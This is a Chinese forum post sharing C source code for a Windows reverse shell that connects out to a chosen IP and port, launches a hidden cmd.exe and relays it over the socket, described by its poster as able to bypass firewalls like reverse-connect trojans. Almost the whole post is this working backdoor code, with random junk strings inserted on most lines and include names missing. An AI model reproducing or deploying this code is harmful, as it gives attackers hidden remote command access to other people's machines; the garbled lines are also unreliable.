社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 5119阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 !x+MVJ]  
MA l{66  
/* ============================== g4?Q.'dZr  
Rebound port in Windows NT DX7Ou%P,mg  
By wind,2006/7 8s\8`2=  
===============================*/ x A@|I#  
#include qFB9,cUqh  
#include 9_I[o.q   
] `b<"  
#pragma comment(lib,"wsock32.lib") t"jIfU>'a/  
EY=\C$3J:  
void OutputShell(); y=y/d>=w  
SOCKET sClient; ,K"r:)\  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; {b\Y?t^>f  
P TfN+  
void main(int argc,char **argv) e<&_tx   
{ ? Yynd  
WSADATA stWsaData; /r #b  
int nRet; U0lqGEZ  
SOCKADDR_IN stSaiClient,stSaiServer; ]0at2  
s:qxAUi\/  
if(argc != 3) x0N-[//YV  
{ TPV6$a<  
printf("Useage:\n\rRebound DestIP DestPort\n"); 11^ {W F  
return; {m1t~ S   
} 'M]CZ}  
h+ `J=a|\  
WSAStartup(MAKEWORD(2,2),&stWsaData); ^Y1AeJ$L  
eP-R""uPw  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); r? 6Z1  
8+@1wks  
stSaiClient.sin_family = AF_INET; R] V~IDs   
stSaiClient.sin_port = htons(0); \rB/83[;u  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); U)IsTk~}O  
7zz(#  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) mH7CgI  
{ (@N~ j&  
printf("Bind Socket Failed!\n"); %tklup]LF8  
return; dK-  ^  
} :~qtvs;{  
 Y,<WX v  
stSaiServer.sin_family = AF_INET; f D]An<  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); |1\dCE03}  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); + 3~Gc<OO  
giA~+m~fN  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Z`0r]V`Ys  
{ 3\+[38 _  
printf("Connect Error!"); VdjU2d  
return; Cz$H k;3\6  
} jSOa   
OutputShell(); ]e#,\})Br  
} \6nQ-S_  
wnZ*k(  
void OutputShell() Xm0&U?dZB  
{ oK(W)[u  
char szBuff[1024]; N'Z_6A*-  
SECURITY_ATTRIBUTES stSecurityAttributes; 4`EvEv$i  
OSVERSIONINFO stOsversionInfo; GT1 X  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; !<['iM  
STARTUPINFO stStartupInfo; ||"":K  
char *szShell; eX]9m Q]E  
PROCESS_INFORMATION stProcessInformation; ,&O:/|c E  
unsigned long lBytesRead; T^-H_|/M  
,i$(yx?  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); nFf\tf%8  
i&SBW0)  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); JXZ:Wg  
stSecurityAttributes.lpSecurityDescriptor = 0; Cx1Sh#9  
stSecurityAttributes.bInheritHandle = TRUE; %3@RZe  
cE_Xo.:Y,  
:Z7"c`6L!~  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); JXI+k.fi  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ~$TE  
iX9[Q0g=oQ  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); "cz]bCr8  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^0BF2&Zx  
stStartupInfo.wShowWindow = SW_HIDE; s/p>30Fg  
stStartupInfo.hStdInput = hReadPipe; 9b=^"K  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 2kmna/Qa6  
e5:l6`  
GetVersionEx(&stOsversionInfo); j_YZ(: =  
8zB+%mcF  
switch(stOsversionInfo.dwPlatformId) EcS-tE 4%  
{ bW 79<T'+  
case 1: )4o=t.O\K  
szShell = "command.com"; ,:Rq  
break; V }r_   
default: UU:QK{{E  
szShell = "cmd.exe"; 0I ND9h. %  
break; 4)>\rqF+v  
} *M**h-p2'  
\Vhp B   
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); S92 !jp/  
MM58w3Mz  
send(sClient,szMsg,77,0); #dn%KMo2r  
while(1) $BO}D  
{ [7 Kj$PB3  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); gWU(uBS  
if(lBytesRead) 5GWM )vrZg  
{ WTy8N  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); e[VJ0 A=  
send(sClient,szBuff,lBytesRead,0); nH3b<k;S  
} JD\-X(O  
else ;]`NR  
{ 3Jk?)D y  
lBytesRead=recv(sClient,szBuff,1024,0); %onAlf<$:^  
if(lBytesRead<=0) break; uhN(`E@  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); l.W1$g  
} J|64b  
} _tauhwu  
(L6]uNOG  
return; /Z9`uK  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八